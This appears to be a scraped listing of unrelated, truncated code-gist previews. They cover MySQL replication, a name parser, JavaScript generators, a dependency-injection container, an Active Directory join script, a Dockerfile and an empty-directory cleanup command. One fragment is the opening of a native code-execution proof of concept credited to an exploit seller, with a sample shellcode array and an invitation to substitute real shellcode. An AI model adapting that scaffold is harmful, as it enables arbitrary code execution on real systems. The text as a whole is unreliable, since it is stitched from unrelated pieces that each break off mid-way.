We’ll configure one MySQL instance as the source database and another as its replica. Replication allows data synchronization between these separate databases.
- Obviously install MySQL on 2 servers.
| // native code exec PoC via Game Script - @carrot_c4k3 (exploits.forsale) | |
| // | |
| // sample shellcode: mov rax, 0x1337; ret; | |
| // drop your own shellcode inplace here | |
| let shellcode = [0x48,0xC7,0xC0,0x37,0x13,0x00,0x00,0xC3] | |
| // hex printing helper functions | |
| let i2c_map = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'] | |
| let c2i_map = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9, 'A': 0xA, 'B': 0xB, 'C': 0xC, 'D': 0xD, 'E': 0xE, 'F': 0xF} |
| const nlp = require("compromise"); | |
| const nameParser = require("name-parser"); | |
| // Function to determine the name format | |
| function determineNameFormat(name) { | |
| // Patterns to match different name formats | |
| const firstLast = nlp(name).match("#Honorific #FirstName #LastName").out("array"); | |
| const lastFirst = nlp(name).match("#LastName, #FirstName #Honorific").out("array"); | |
| const middleName = nlp(name).match("#FirstName #MiddleName #LastName").out("array"); | |
| const middleInitial = nlp(name).match("#FirstName #MiddleInitial #LastName").out("array"); |
Here is an example of using JavaScript generators to handle multiple HTTP requests in a sequential manner:
const fetch = require("node-fetch");
function* fetchUsers() {
const user1 = yield fetch("https://jsonplaceholder.typicode.com/users/1");
const user2 = yield fetch("https://jsonplaceholder.typicode.com/users/2");
| const Container = { | |
| _storage: {}, | |
| register(key, deps, func) { | |
| this._storage[key] = { deps, func }; | |
| }, | |
| get(key) { | |
| if (!this._storage[key]) throw new Error(`Missing ${key}`); | |
| const { func, deps } = this._storage[key]; | |
| return (...args) => { | |
| const resolvedDeps = deps.map((key) => this.get(key)); |
| #!/bin/bash | |
| sudo apt install sssd heimdal-clients msktutil | |
| sudo mv /etc/krb5.conf /etc/krb5.conf.default | |
| COMP=$HOSTNAME | |
| read -p 'What is the domain name? (example: URLFINANCIAL without the .local) ' DOMAIN | |
| LCASEDOMAIN=`echo "$DOMAIN" | tr '[:upper:]' '[:lower:]'` |
| FROM ubuntu:latest | |
| RUN apt-get update \ | |
| && apt-get install -y python3-pip python3-dev \ | |
| && cd /usr/local/bin \ | |
| && ln -s /usr/bin/python3 python \ | |
| && pip3 install --upgrade pip | |
| # INSTALL DEPENDENCIES | |
| RUN apt-get install -y curl unzip openjdk-8-jre-headless xvfb libxi6 libgconf-2-4 |
| #!/bin/bash | |
| find . -type d -empty -exec rm -i -R {} \; |